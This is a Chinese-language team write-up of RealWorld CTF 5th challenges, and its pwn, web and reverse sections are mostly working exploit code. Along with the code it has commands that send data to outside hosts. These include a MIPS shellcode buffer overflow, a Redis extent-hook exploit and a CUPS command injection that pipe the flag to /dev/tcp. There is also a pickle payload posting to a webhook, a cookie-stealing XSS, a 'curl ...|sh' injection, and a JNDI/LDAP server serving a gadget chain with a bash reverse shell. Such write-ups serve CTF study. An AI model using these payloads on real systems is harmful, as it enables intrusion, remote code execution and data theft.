RealWorld CTF 5th Writeup by r3kapig
前言
本次比赛取得了第四名的成绩,现将师傅们的wp整理如下,与大家交流学习。有意向的师傅欢迎投递简历到[email protected],我们会及时与您联系.
Pwn:
ShellFind:
首先下载dlink官方固件，解包diff目录发现ipfind文件不同，分析发现此文件有被nop的痕迹，并且运行后启动一个监听62720端口的udp服务，基本确定是这个文件。
ipfind在认证用户的时候，用户名和密码区域base64解码的时候并没有检查大小，导致栈溢出。
通过rop修复gp之后调用strncpy把一小段shellcode复制到bss上执行，最终跳到stack上执行完整shellcode
需要的库:sudo apt install binutils-mips-linux-gnu
列文件目录:
from pwn import *
def pb32(a):
return p32(a, endian='big')
def be(sc: bytes):
final = b''
for x in range(0, len(sc), 4):
final += sc[x:x + 4][::-1]
return final
debug = 0
context.arch = 'mips'
if debug:
# qemu udp hostfwd sucks
s1 = ssh(user='root', host='localhost', port=5555, password='admin')
p = s1.process(['nc', '-u', '127.0.0.1', '62720'])
else:
p1 = remote('47.89.210.186', 57798)
p1.sendlineafter(b'now:', b't7h0SsXRQLijNOBePkFPMg==')
p1.recvuntil(b'port is : ')
port = int(p1.recvuntil(b' ', drop=1))
log.success(f'Port: {port}')
sleep(60)
context.log_level = 'debug'
p = remote('47.89.210.186', port, typ='udp')
payload = b'FIVI' + p32(0x12345678) + b'x0a' + p16(1) + p16(0xabcd) + b'xff' * 4 + b'xff' * 6 + p16(0) + p32(0)
p.send(payload)
p.recv(17)
mac = p.recv(6)
p.recv()
payload = b'FIVI' + b'x10x00x00xe7' + b'x0a' + p16(2) + p16(0xabcd) + b'xff' * 4 + mac + p16(0) + p32(0x8E)
payload = payload.ljust(93, b'x00')
r = b'a' * 580
r += pb32(0x00413011) * 2
r += pb32(0x402ac0)
r += b'x00' * 16
r += pb32(0x41b038)
r += b'x00' * 8
r += pb32(0x0040208c)
r += b'x10x00x00x09'
r += b'x00' * 0x14
r += pb32(0x41afd8)
r += pb32(0)
r += b'x41x30x14x03xa0xf8x09x00'
context.endian = 'big'
# {shellcraft.mips.read('$v0','$sp',0x1000)}
buf = asm(f'''
addiu $sp, $sp, -0x1000
{shellcraft.mips.open('/firmadyne')}
{shellcraft.mips.linux.syscall('SYS_getdents','$v0','$sp',0x1000)}
{shellcraft.mips.mov('$a0', 3)}
{shellcraft.mips.mov('$a1', '$sp')}
{shellcraft.mips.mov('$a2', 0x1000)}
{shellcraft.mips.mov('$a3', 0)}
{shellcraft.mips.mov('$v0', 0x0413170)}
sw $v0, 16($sp)
{shellcraft.mips.mov('$v0', 0x10)}
sw $v0, 20($sp)
{shellcraft.mips.mov('$gp', 0x41b030)}
{shellcraft.mips.mov('$t0', 0x00402940)}
jalr $t0
nop
{shellcraft.mips.linux.exit(0)}
''')
r += buf
payload += b64e(r).encode()
p.send(payload)
p.interactive()
拿到flag路径:/firmadyne/flag,读文件:
from pwn import *
def pb32(a):
return p32(a, endian='big')
def be(sc: bytes):
final = b''
for x in range(0, len(sc), 4):
final += sc[x:x + 4][::-1]
return final
debug = 0
context.arch = 'mips'
if debug:
# qemu udp hostfwd sucks
s1 = ssh(user='root', host='localhost', port=5555, password='admin')
p = s1.process(['nc', '-u', '127.0.0.1', '62720'])
else:
p1 = remote('47.89.210.186', 57798)
p1.sendlineafter(b'now:', b't7h0SsXRQLijNOBePkFPMg==')
p1.recvuntil(b'port is : ')
port = int(p1.recvuntil(b' ', drop=1))
log.success(f'Port: {port}')
sleep(60)
context.log_level = 'debug'
p = remote('47.89.210.186', port, typ='udp')
payload = b'FIVI' + p32(0x12345678) + b'x0a' + p16(1) + p16(0xabcd) + b'xff' * 4 + b'xff' * 6 + p16(0) + p32(0)
p.send(payload)
p.recv(17)
mac = p.recv(6)
p.recv()
payload = b'FIVI' + b'x10x00x00xe7' + b'x0a' + p16(2) + p16(0xabcd) + b'xff' * 4 + mac + p16(0) + p32(0x8E)
payload = payload.ljust(93, b'x00')
r = b'a' * 580
r += pb32(0x00413011) * 2
r += pb32(0x402ac0)
r += b'x00' * 16
r += pb32(0x41b038)
r += b'x00' * 8
r += pb32(0x0040208c)
r += b'x10x00x00x09'
r += b'x00' * 0x14
r += pb32(0x41afd8)
r += pb32(0)
r += b'x41x30x14x03xa0xf8x09x00'
context.endian = 'big'
# {shellcraft.mips.read('$v0','$sp',0x1000)}
buf = asm(f'''
addiu $sp, $sp, -0x1000
{shellcraft.mips.open('/firmadyne/flag')}
{shellcraft.mips.read('$v0','$sp',0x1000)}
{shellcraft.mips.mov('$a0', 3)}
{shellcraft.mips.mov('$a1', '$sp')}
{shellcraft.mips.mov('$a2', 0x1000)}
{shellcraft.mips.mov('$a3', 0)}
{shellcraft.mips.mov('$v0', 0x0413170)}
sw $v0, 16($sp)
{shellcraft.mips.mov('$v0', 0x10)}
sw $v0, 20($sp)
{shellcraft.mips.mov('$gp', 0x41b030)}
{shellcraft.mips.mov('$t0', 0x00402940)}
jalr $t0
nop
{shellcraft.mips.linux.exit(0)}
''')
r += buf
payload += b64e(r).encode()
p.send(payload)
p.interactive()NonHeavyFTP:
题目是一个FTPserver，LIST可以列目录，RETR可以读文件。所有的文件操作都被限制到了/server/data这一root中。题目目标是读/flag文件。
这个题目的漏洞在于，LIST/RETR是通过启动一个新的线程来对目录/文件进行列目录/文件读。新线程运行期间，FTPserver在当前的session上还可以接收和处理命令。一些命令如USER会临时使用Context->FileName来做临时的buffer，而Context->FileName在新文件操作的线程中被用作是LIST/RETR的目标文件。因此，攻击者可以通过USER命令替换掉Context->FileName以实现对任意目录/文件进行列目录和读文件，从而实现读取flag。
from pwn import *
context.log_level="debug"
p = remote("47.89.253.219",2121)
def se(cmd):
p.send(f"{cmd}rn".encode())
def rl():
return p.recvuntil(b"n")
def ru(delim):
return p.recvuntil(delim)
def pasv():
se("PASV")
port_resp = rl()[len("227 Entering Passive Mode (0,0,0,0,"):].decode()
port1 = int(port_resp[:port_resp.find(",")])
port2 = int(port_resp[port_resp.find(",")+1:port_resp.find(")")])
port = (port1<<8)+port2
return port
rl()
se("USER anonymous")
rl()
se("PASS ttt")
rl()
pasv_port = pasv()
print(pasv_port)
se("LIST")
USER("/")
rl()
rl()
# nc port here to get the flag name
flag_name = input()
se("RETR hello.txt")
se("USER "+flag_name)
rl()
rl()
# nc port here to get the flagHardened Redis:
参考 2022 Spring GoN Open Qual CTF(Jeopardy)-Mirai的exp link:https://hackmd.io/@Xion/goq_22s_authors_writeup#J.-Trino:-Mirai，搭对应环境debug
相比于原exp的修正部分：debug mallctl arena.0.extent_hooks可以稳定获得libc的地址
#!/usr/bin/env python3
import socket
import ctypes, struct
import os, time
class FakeRemote:
def __init__(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.s.connect((host, port))
def send(self, data):
if isinstance(data, str):
data = data.encode('ascii')
self.s.send(data)
def recv(self, length):
data = b''
while len(data) < length:
recv = self.s.recv(length - len(data))
if not recv:
raise EOFError
data += recv
return data
def recvall(self):
data = b''
while True:
recv = self.s.recv(0x1000)
if not recv:
break
data += recv
return data
def recvuntil(self, until, drop=False):
data = b''
while not data.endswith(until):
recv = self.s.recv(1)
if not recv:
raise EOFError
data += recv
return data[:-len(until)] if drop else data
def info(self, s):
print(f'[*] {s}')
def success(self, s):
print(f'[+] {s}')
def close(self):
self.s.close()
def query(qs):
def _query(q):
if isinstance(q, str):
q = q.encode('ascii')
if isinstance(q, (list, tuple)):
p.send(f'*{len(q)}rn'.encode('ascii'))
for qe in q:
_query(qe)
else:
assert isinstance(q, (bytes, bytearray))
p.send(f'${len(q)}rn'.encode('ascii') + q + b'rn')
def _resp():
first = p.recv(1)
if first == b'+':
return p.recvuntil(b'rn', drop=True)
elif first == b'-':
err = p.recvuntil(b'rn', drop=True)
raise RuntimeError(f'Redis returned Error: {err}')
elif first == b':':
return int(p.recvuntil(b'rn', drop=True))
elif first == b'$':
length = int(p.recvuntil(b'rn', drop=True))
data = p.recv(length)
assert p.recv(2) == b'rn'
return data
else:
assert first == b'*'
length = int(p.recvuntil(b'rn', drop=True))
return [_resp() for _ in range(length)]
if isinstance(qs, str):
qs = qs.encode('ascii')
if isinstance(qs, (bytes, bytearray)):
p.send(qs + b'rn')
else:
_query(qs)
return _resp()
def query_addr(obj):
return int(query(f'''debug object {obj}''').split()[1][3:], 16)
def p64(v, endian='little'):
return struct.pack('<Q' if endian=='little' else '>Q', v)
def u64(v, endian='little'):
return struct.unpack('<Q' if endian=='little' else '>Q', v)[0]
HOST, PORT = "127.0.0.1", 6379
LHOST, LPORT = "192.168.1.7", 666
#bash_cmd = f'cat /flag* > /dev/tcp/{LHOST}/{LPORT}'
bash_cmd = f"/readflag > /dev/tcp/{LHOST}/{LPORT}"
cmds = [# '0123456789abcdef0123456789ab'
"echo '#!/bin/bash'>/tmp/a",
] + [
f"echo -n '{bash_cmd[st:st+9]}'>>/tmp/a" for st in range(0, len(bash_cmd), 9)
] + [
"chmod 777 /tmp/a",
"/tmp/a"
]
assert all(len(cmd) <= 0x1c for cmd in cmds)
cmds = [cmd.ljust(0x1c, ' ') for cmd in cmds]
p = FakeRemote(HOST, PORT)
assert query('''debug mallctl background_thread 0''') in (0, 1) # 1: first run, 0: following runs
for i in range(len(cmds)):
query(f'''setbit K{i} 400000 0''')
# can be replaced with "set I0 0" => "debug object I0"
leak = query('''debug mallctl arena.0.extent_hooks''')
libc_base = leak - 0x7c0a00
print("leak: ", hex(leak))
print(hex(libc_base))
assert libc_base & 0xfff == 0
libssl_base = libc_base + 0x66a000
# for each cmds, try 0x100 times to get adjacent embstr
cmd_addrs = []
for i in range(len(cmds)):
for j in range(0x100):
assert query(['set', f'cmd{i}_{j}', cmds[i]]) == b'OK'
assert query(['set', f'sys{i}_{j}',
p64(libc_base + 0x50d60).ljust(0x1c)
]) # system@libc offset
cmd_addr, sys_addr = query_addr(f'cmd{i}_{j}'), query_addr(f'sys{i}_{j}')
if sys_addr == cmd_addr + 0x30:
print("find!!")
break
else:
assert False
cmd_addrs.append(cmd_addr)
# 0x0000000000035ae0 : mov rdi, qword ptr [rdi] ; jmp qword ptr [rdi + 0x30]
# 0x000000000002f3f4 : mov rdi, qword ptr [rdi] ; jmp qword ptr [rdi + 0x30]
for i in range(len(cmds)):
cmd, cmd_addr = cmds[i], cmd_addrs[i]
assert query(['set', 'extent_hook',
p64(cmd_addr+0x13)+p64(libssl_base+0x000000000002f3f4)
]) == b'OK'
extent_hook_addr = query_addr('extent_hook')
original_extent_hook = query(f'''debug mallctl arena.0.extent_hooks {extent_hook_addr+0x13}''')
query(f'''del K{i}''')
assert query('''memory purge''') == b'OK' # command executed!
# cleanup :)
assert query(f'''debug mallctl arena.0.extent_hooks {original_extent_hook}''') == extent_hook_addr+0x13
assert query('flushall') == b'OK'
assert query('memory purge') == b'OK'
p.close()Printer2:
Cups是一个基于IPP协议管理打印机的守护进程。题目基于cups部署了一个包裹了beh的socket协议的打印机。beh可以理解为一个代理程序，可以自动化的处理打印机发生的一些异常情况。因此，cupd的任何针对打印机的操作都是会先调用beh，然后beh再去调用相关协议（如socket）的处理程序。
https://github.com/Pardus-Kurumsal/cups-filters/blob/cf6e79b7a3143a4d135d3d98406edf90fed63c8a/backend/beh.c
snprintf(cmdline, sizeof(cmdline),
"%s/backend/%s '%s' '%s' '%s' '%s' '%s' %s",
cups_serverbin, scheme, argv[1], argv[2], argv[3],
/* Apply number of copies only if beh was called with a
file name and not with the print data in stdin, as
backends should handle copies only if they are called
with a file name */
(argc == 6 ? "1" : argv[4]),
argv[5], filename);
/*
* Overwrite the device URI and run the actual backend...
*/
setenv("DEVICE_URI", uri, 1);
fprintf(stderr,
"DEBUG: beh: Executing backend command line "%s"...n",
cmdline);
fprintf(stderr,
"DEBUG: beh: Using device URI: %sn",
uri);
retval = system(cmdline) >> 8;
if (retval == -1)
fprintf(stderr, "ERROR: Unable to execute backend command line: %sn",
strerror(errno));
return (retval);然而，beh在调用相关协议的处理程序时，是通过snprintf进行命令拼接然后执行system来进行调用，这会导致一个命令注入漏洞。我们可以通过向cups发送一个打印文档的IPP请求，并以username作为注入点来触发这个漏洞。
request = ippNewRequest(IPP_OP_PRINT_JOB);
ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_URI, "printer-uri", NULL, ldata.uri);
ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_NAME, "requesting-user-name", NULL, "' ;bash -c 'cat /flag >&/dev/tcp/ip/port'; '");
if ((name = strrchr(ldata.docfile, '/')) != NULL)
name ++;
else
name = ldata.docfile;
ippAddString(request, IPP_TAG_OPERATION, IPP_TAG_NAME, "job-name", NULL, name);
response = cupsDoFileRequest(http, request, ldata.resource, ldata.docfile);[pid 509956] execve("/usr/lib/cups/backend/beh", ["beh:/1/3/5/socket://printer:9100", "57", "' ' ;bash -c 'cat /flag >&/dev/tcp/ip/port'; ' '", "test2.txt", "1", "job-uuid=urn:uuid:2dd5abdc-ada5-3e64-7788-7322c477d818 job-originating-host-name=172.17.0.1 date-time-at-creation= date-time-at-processing= time-at-creation=1673159696 time-at-processing=1673159696", "/var/spool/cups/d00057-001"], 0x7ffc7bc7b780 /* 28 vars */) = 0
strace: Process 509957 attached
[pid 509957] execve("/bin/sh", ["sh", "-c", "/usr/lib/cups/backend/socket '57' '' ;bash -c 'cat /flag >&/dev/tcp/ip/port';'' 'test2.txt' '1' 'job-uuid=urn:uuid:2dd5abdc-ada5-3e64-7788-7322c477d818 job-originating-host-name=172.17.0.1 date-time-at-creation= date-time-at-processing= time-at-creation=1673159696 time-at-processing=1673159696' /var/spool/cups/d00057-001"], 0x7ffc6af09948 /* 28 vars */) = 0 tinyvm:
vm中esp没有边界检测，随意越界读写，改GOT到one_gadget
远程题目应该使用Popen之类的方法启动的，所以远程libc存在一定干扰，所以这里选择了main_arena区域来泄漏libc比较稳定（因为bins有很多指向自身的指针
from pwn import *
s=remote("198.11.180.84",6666)
# 0x12e0bd
payload = '''
start:
add esp, 0x401de60
pop eax
prn eax
sub esp, 0xe60
sub eax, 0x12e0bd
sub eax, 0x10
add eax, 0x20
add esp, 0xa8
push eax
add esp, 0x165c
mov rcx,0
push rcx
add esp, 0x28
push rcx
push rcx
push rcx
mov eax,1
prn eax
ret
'''
payload = payload.strip()
print(payload)
s.recvuntil("Input the size of the vm file you want to run(< 4096) :")
s.sendline(str(len(payload)))
s.send(payload)
s.interactive()Paddle:
通过阅读docker发现其主要是以下module:
paddle-serving-server==0.9.0
paddle-serving-client==0.9.0
paddle-serving-app==0.9.0
paddlepaddle==2.3.0由dockerfile中的WORKDIR /usr/local/lib/python3.6/site-packages/paddle_serving_server/env_check/simple_web_service,CMD ["python", "web_service.py"]得知其主体的加载主要是paddle-serving-server
通过pypi搜索并下载到源码 https://files.pythonhosted.org/packages/17/2d/e0f69d0ca122dd9ba9f8467bead36df3a8479ac69c8a1f631f39092ebd65/paddle_serving_server-0.9.0-py3-none-any.whl
或者通过github项目 https://github.com/PaddlePaddle/Serving
并且结合AI的相关支持可以发现漏洞在这里 https://github.com/PaddlePaddle/Serving/blob/bdf4ada65e40c9d8146b9aac14a8cf406d9ba37e/python/pipeline/operator.py#L1753
np_data = np.load(byte_data, allow_pickle=True) 可以触发pickle反序列化
跟踪其调用链如下:
(paddle_serving_server/pipeline)
operator.py:1753 np_data = np.load(byte_data, allow_pickle=True)
operator.py:1763 unpack_request_package(self, request)
dag.py:799 unpack_func = op.unpack_request_package (in _build_dag)
dag.py:814 build(self)
dag.py:94 (in_channel, out_channel, pack_rpc_func,unpack_rpc_func) = self._dag.build()
dag.py:306 dictdata, log_id, prod_errcode, prod_errinfo = self._unpack_rpc_func(rpc_request)
dag.py:374 req_channeldata = self._pack_channeldata(rpc_request, data_id) (in call)
pipeline_server.py:73 resp = self._dag_executor.call(request)推测通过构造request中的tensor字段可以触发Pickle反序列化。
又从dockerfile中得知flag位于/flag
最后exp:
/*
import pickle
import sys
import base64
PAYLOAD = """
import os
import requests
flag = os.popen('cat /flag').read()
url = 'https://webhook.site/bb7ecf40-cae3-42e1-9eea-79af431c1cf9/' + flag
requests.get(url)
"""
class RCE:
def __reduce__(self):
return exec, (PAYLOAD,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
with open('payload', 'wb') as f:
f.write(pickled)
*/
import { execSync } from "child_process";
import { readFileSync } from "fs";
execSync(`python3 exploit.py`);
const payload = readFileSync("payload").toString("base64");
const resp = await fetch("http://47.88.23.73:33085/uci/prediction", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
key: ["x"],
value: [
"0.0137, -0.1136, 0.2553, -0.0692, 0.0582, -0.0727, -0.1583, -0.0584, 0.6283, 0.4919, 0.1856, 0.0795, -0.0332",
],
tensors: [
{
name: "A",
elem_type: "13",
byte_data: payload,
},
],
}),
});
console.log(await resp.text());Web:
ChatUWU:
socket.io 存在一个 URL 解析 bug：(通过黑盒找到)
http://47.254.28.30:58000/?room=DOMPurify&[email protected]
利用 @ 可以劫持到 socket.io 连接服务器，然后自建一个server，发payload即可
<img src=1 onerror="a=new Image();a.src='https://ricterz.me/?'+document.cookie;document.getElementsByTagName('body')[0].appendChild(a)">ASTLIBRA:
利用反斜杠可以注入zephir代码
http://127.0.0.1");}public function getURL(){return 1;}public function asd(){//
用 cblock 语法嵌入任意 C 标签，劫持 RETURN_STRING 宏执行命令即可。
POST /api.php HTTP/1.1
Content-Length: 209
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=6ufrd768dfdbfe8lnf8onv2qc5
Host: 47.89.249.223
URL=http://127.0.0.1");}}%0a%25{
#define A curl static.ricterz.me/reverse/|sh
#define _A(str) _TMP(str)
#define _TMP(str) #str
#define RETURN_STRING(a) system(_A(A))
}%25function a(){if false{var ch=0;//
the cult of 8 bit:
利用 opener + jsonp callback 控制页面事件：
SOME攻击 (https://www.someattack.com/Playground/About)
<iframe src="http://localhost:12345/post/?id=57b7d5e1-fdfc-44a4-aca7-bbdddee09b6c?callback=parent.opener.document.body.children[0].children[0].children[0].children[1].children[0].click%26xx=%d8%00"></iframe>做如下的步骤：
-
1. 注册
[object Object]账号并填写 XSS payload -
2. 登出（logout 按钮的 click）
-
3. 跳转到 login 页面（链接的click）
-
4. 填入账号密码（
setRangeText方法，会填写[object Object]进去） -
5. 登录
[object Object]账号 -
6. 点击 TODO 的 XSS，获取到 post id
登录即可拿到flag
The Dark Portal:
Apache CXF 的 1day 读取 ROOT.war，CVE：https://cxf.apache.org/security-advisories.data/CVE-2022-46364.txt?version=1&modificationDate=1670944472739&api=v2
解析XOP:Include存在ssrf漏洞可以造成任意文件读取
https://github.com/apache/cxf/pull/960
(由于涉及到一些漏洞相关法规的情况,本writeup不给予完整exp)
部分exp:
<arg0 xsi:type="xs:base64Binary"><xop:Include href="file:////opt/tomcat/webapps/ROOT.war"/></arg0>然后逆向 DarkMagic.class，下断点到 String.equals，找到几个关键变量：
小猜了一波 RCE:
GET /7he_d4rk_p0rt4l?curses=xxxxx HTTP/1.1
User-Agent: The Argent Dawn
cmd: /readflag
Host: 198.11.177.96Druid’s Selection:
kafka可以通过配置自定义认证
发现LoginModule有个JNDI的实现认证
在认证时触发jndi注入
因此可以根据此类进行注入
{
"bootstrap.servers": "117.50.188.49:9092"
"security.protocol": "SASL_SSL",
"sasl.jaas.config" : "com.sun.security.auth.module.JndiLoginModule required user.provider.url=/"rmi://117.50.188.49:1234/EvilObject" useFirstPass="true" serviceName="x" group.provider.url="a";"
}由于环境里java是8u341，尝试高版本jndi注入绕过，发现依赖当中存在CB链反序列化，因此通过jndi触发原生反序列化配合cb链实现RCE
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABs3K/rq+AAAANAA8CgAKACsKACwALQcALggALwgAMAgAMQoALAAyBwAzBwA0BwA1AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAQTWV0aG9kUGFyYW1ldGVycwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwA2AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAzAQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwACwAMBwA3DAA4ADkBABBqYXZhL2xhbmcvU3RyaW5nAQAJL2Jpbi9iYXNoAQACLWMBADAvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTE3LjUwLjE4OC40OS8xMjM1IDA+JjEMADoAOwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAAFAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAABgAPAAAADAABAAAABQAQABEAAAAJABIAEwACAA0AAAArAAAAAQAAAAGxAAAAAgAOAAAABgABAAAAEgAPAAAADAABAAAAAQAUABUAAAAWAAAABQEAFAAAAAEAFwAYAAMADQAAAD8AAAADAAAAAbEAAAACAA4AAAAGAAEAAAAXAA8AAAAgAAMAAAABABAAEQAAAAAAAQAZABoAAQAAAAEAGwAcAAIAHQAAAAQAAQAeABYAAAAJAgAZAAAAGwAAAAEAFwAfAAMADQAAAEkAAAAEAAAAAbEAAAACAA4AAAAGAAEAAAAcAA8AAAAqAAQAAAABABAAEQAAAAAAAQAZABoAAQAAAAEAIAAhAAIAAAABACIAIwADAB0AAAAEAAEAHgAWAAAADQMAGQAAACAAAAAiAAAACAAkAAwAAQANAAAAagAFAAEAAAAfuAACBr0AA1kDEgRTWQQSBVNZBRIGU7YAB1enAARLsQABAAAAGgAdAAgAAwAOAAAAEgAEAAAACQAaAAwAHQAKAB4ADQAPAAAADAABAB4AAAAlACYAAAAnAAAABwACXQcAKAAAAQApAAAAAgAqcHQAEkhlbGxvVGVtcGxhdGVzSW1wbHB3AQB4cQB+AA14"));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}Reverse:
Ferris’ proxy:
在openssl的RC4,AES等函数下断点观察流程，从而知道整个通信都是用RC4加密的，key值为explorer，每次交互都是用AES-CBC-128加密的。AES 的密钥在数据的信息交互之前发送通过RSA 加密。IV 在每个数据包内。解密后，我们看到客户端通过SOCKS5协议通过服务器访问网站，客户端从名为flag.txt的文件中获取flag,所以我们需要在下一个数据包中获得flag。
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, ARC4
from Crypto.Random import get_random_bytes
import re
from pwn import *
from Crypto.Util.Padding import pad, unpad
# =========== RSA ===========
def rsa_server_decrypt(enc_msg):
server_privkey = open('server_private.pem', 'rb').read()
server_key = RSA.import_key(server_privkey)
sentinel = get_random_bytes(16)
cipher = PKCS1_v1_5.new(server_key)
return cipher.decrypt(enc_msg, sentinel, expected_pt_len=16)
def rsa_client_decrypt(enc_msg):
client_privkey = open('client_private.pem', 'rb').read()
client_key = RSA.import_key(client_privkey)
sentinel = get_random_bytes(16)
cipher = PKCS1_v1_5.new(client_key)
return cipher.decrypt(enc_msg, sentinel, expected_pt_len=16)
# =========== RSA ===========
# =========== AES ===========
def aes_decrypt(key, iv, data):
cipher = AES.new(key, AES.MODE_CBC, iv)
try:
return(unpad(cipher.decrypt(data), AES.block_size))
except:
return(cipher.decrypt(data))
# =========== AES ===========
reg = re.compile(b'x00x00x00.x00x00x00x01x00x00x00.',re.DOTALL)
cipher = ARC4.new(b'explorer')
